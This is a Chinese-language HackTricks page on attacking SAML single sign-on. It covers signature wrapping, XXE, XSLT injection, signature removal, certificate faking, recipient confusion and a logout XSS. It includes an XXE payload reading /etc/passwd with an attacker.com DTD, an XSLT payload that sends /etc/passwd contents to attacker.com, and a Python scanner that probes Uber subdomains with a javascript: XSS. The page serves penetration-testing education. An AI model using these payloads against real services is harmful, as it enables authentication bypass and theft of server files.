SAML Attacks

SAML攻击

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)

支持HackTricks的其他方式:

基本信息

SAML Basics

工具

SAMLExtractor:一个工具,可以接收URL或URL列表,并返回SAML消费URL。

XML往返

在XML中,XML的签名部分保存在内存中,然后执行一些编码/解码操作并检查签名。理想情况下,该编码/解码操作不应更改数据,但基于该场景,正在检查的数据和原始数据可能不相同

例如,请查看以下代码:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

运行该程序针对REXML 3.2.4或更早版本将导致输出如下:

First child in original doc: Y
First child after round-trip: Z

这是REXML从上述程序中看到的原始XML文档:

这是经过一轮解析和序列化后REXML看到的:

有关此漏洞及如何利用它的更多信息:

XML签名包裹攻击

XML签名包裹攻击(XSW)中,对手利用一种漏洞,即当XML文档通过两个不同阶段处理时产生的漏洞:签名验证和函数调用。这些攻击涉及更改XML文档结构。具体来说,攻击者注入伪造元素,这些元素不会损害XML签名的有效性。这种操纵旨在在应用逻辑分析的元素与签名验证模块检查的元素之间创建差异。因此,虽然XML签名在技术上仍然有效并通过验证,但应用逻辑处理欺诈性元素。因此,攻击者有效地绕过了XML签名的完整性保护来源认证,从而实现了注入任意内容而不被检测。

以下攻击基于**此博客文章此论文**。因此,请查看这些内容以获取更多详细信息。

XSW #1

  • 策略:添加一个包含签名的新根元素。

  • 影响:验证器可能会在合法的“Response -> Assertion -> Subject”和攻击者的“恶意新Response -> Assertion -> Subject”之间混淆,导致数据完整性问题。

XSW #2

  • 与XSW #1的不同:使用分离签名而不是包裹签名。

  • 影响:类似于XSW #1,"恶意"结构旨在在完整性检查后欺骗业务逻辑。

XSW #3

  • 策略:在与原始断言相同的层次结构级别上制作恶意断言。

  • 影响:旨在混淆业务逻辑以使用恶意数据。

XSW #4

  • 与XSW #3的不同:原始断言变为重复的(恶意)断言的子级。

  • 影响:类似于XSW #3,但更积极地改变XML结构。

XSW #5

  • 独特之处:签名和原始断言均不符合标准配置(包裹/包裹/分离)。

  • 影响:复制的断言包裹签名,修改了预期的文档结构。

XSW #6

  • 策略:与XSW #4和#5相似的位置插入,但有所不同。

  • 影响:复制的断言包裹签名,然后包裹原始断言,创建一个嵌套的欺骗结构。

XSW #7

  • 策略:插入一个Extensions元素,其中包含复制的断言作为子元素。

  • 影响:利用Extensions元素的较少限制模式来绕过模式验证对策,特别是在像OpenSAML这样的库中。

XSW #8

  • 与XSW #7的不同:利用另一个较少限制的XML元素进行攻击变体。

  • 影响:原始断言变为较少限制元素的子元素,颠倒了XSW #7中使用的结构。

工具

您可以使用Burp扩展SAML Raider来解析请求,应用您选择的任何XSW攻击并启动它。

XXE

如果您不知道XXE攻击是什么,请阅读以下页面:

XXE - XEE - XML External Entity

SAML响应是压缩和Base64编码的XML文档,可能容易受到XML外部实体(XXE)攻击的影响。通过操纵SAML响应的XML结构,攻击者可以尝试利用XXE漏洞。以下是这种攻击的可视化方式:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

工具

您还可以使用Burp扩展SAML Raider从SAML请求生成POC,以测试可能存在的XXE漏洞和SAML漏洞。

还可以查看这个讲座:https://www.youtube.com/watch?v=WHn-6xHL7mI

通过SAML进行XSLT

有关XSLT的更多信息,请访问:

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

可扩展样式表语言转换(XSLT)可用于将XML文档转换为各种格式,如HTML、JSON或PDF。需要注意的是XSLT转换是在数字签名验证之前执行的。这意味着即使没有有效签名,攻击也可能成功;自签名或无效签名就足以继续。

在这里,您可以找到一个POC来检查这种漏洞,您可以在本节开头提到的hacktricks页面中找到有效载荷。

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

工具

您还可以使用Burp扩展程序SAML Raider生成来自SAML请求的POC,以测试可能存在的XSLT漏洞。

还可以查看这个讲座:https://www.youtube.com/watch?v=WHn-6xHL7mI

XML签名排除

XML签名排除观察SAML实现在Signature元素不存在时的行为。如果缺少此元素,则可能不会进行签名验证,从而存在漏洞。可以通过更改通常由签名验证的内容来测试此功能。

工具

您还可以使用Burp扩展程序SAML Raider。拦截SAML响应并单击Remove Signatures。这样做会删除所有 Signature元素。

删除签名后,允许请求继续到目标。如果服务不需要签名

证书伪造

证书伪造是一种测试服务提供商(SP)是否正确验证SAML消息是否由受信任的身份提供商(IdP)签名的技术。它涉及使用自签名证书对SAML响应或断言进行签名,有助于评估SP和IdP之间的信任验证过程。

如何进行证书伪造

以下步骤概述了使用SAML Raider Burp扩展程序的过程:

  1. 拦截SAML响应。

  2. 如果响应包含签名,请使用Send Certificate to SAML Raider Certs按钮将证书发送到SAML Raider Certs。

  3. 在SAML Raider Certificates选项卡中,选择导入的证书,然后单击Save and Self-Sign以创建原始证书的自签名克隆。

  4. 返回到Burp代理中拦截的请求。从XML签名下拉菜单中选择新的自签名证书。

  5. 使用Remove Signatures按钮删除任何现有签名。

  6. 使用适当的**(Re-)Sign Message(Re-)Sign Assertion**按钮,使用新证书对消息或断言进行签名。

  7. 转发已签名的消息。成功的身份验证表明SP接受由您的自签名证书签名的消息,揭示了SAML消息验证过程中的潜在漏洞。

令牌接收者混淆 / 服务提供商目标混淆

令牌接收者混淆和服务提供商目标混淆涉及检查服务提供商是否正确验证响应的预期接收者。实质上,服务提供商应拒绝认证响应,如果它是为不同提供商而设计的。关键元素在于SAML响应的SubjectConfirmationData元素中的Recipient字段。该字段指定了必须发送断言的URL。如果实际接收者与预期的服务提供商不匹配,则应将断言视为无效。

工作原理

要使SAML令牌接收者混淆(SAML-TRC)攻击可行,必须满足一定条件。首先,在服务提供商(称为SP-Legit)上必须有一个有效帐户。其次,目标服务提供商(SP-Target)必须接受来自为SP-Legit提供服务的相同身份提供商的令牌。

在这些条件下,攻击过程很简单。通过共享的身份提供商与SP-Legit建立真实会话。拦截来自身份提供商发送到SP-Legit的SAML响应。然后将最初针对SP-Legit的拦截SAML响应重定向到SP-Target。攻击的成功度通过SP-Target接受断言并授予对使用于SP-Legit的相同帐户名称的资源访问来衡量。

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

注销功能中的 XSS

可以通过此链接访问原始研究。

在目录强制搜索过程中,发现了一个注销页面位于:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

访问此链接后,发生了重定向到:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

这表明base参数接受一个URL。考虑到这一点,想法是用javascript:alert(123);替换URL,试图发起XSS(跨站脚本攻击)攻击。

大规模利用

根据这项研究

使用SAMLExtractor工具分析uberinternal.com的子域,查找使用相同库的域。随后,开发了一个脚本来针对oidauth/prompt页面。该脚本通过输入数据并检查其是否反映在输出中来测试XSS(跨站脚本攻击)。在输入确实反映的情况下,脚本将标记该页面为易受攻击。

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

参考资料

从零开始学习AWS黑客技术,成为专家 htARTE (HackTricks AWS Red Team Expert)!

支持HackTricks的其他方式:

最后更新于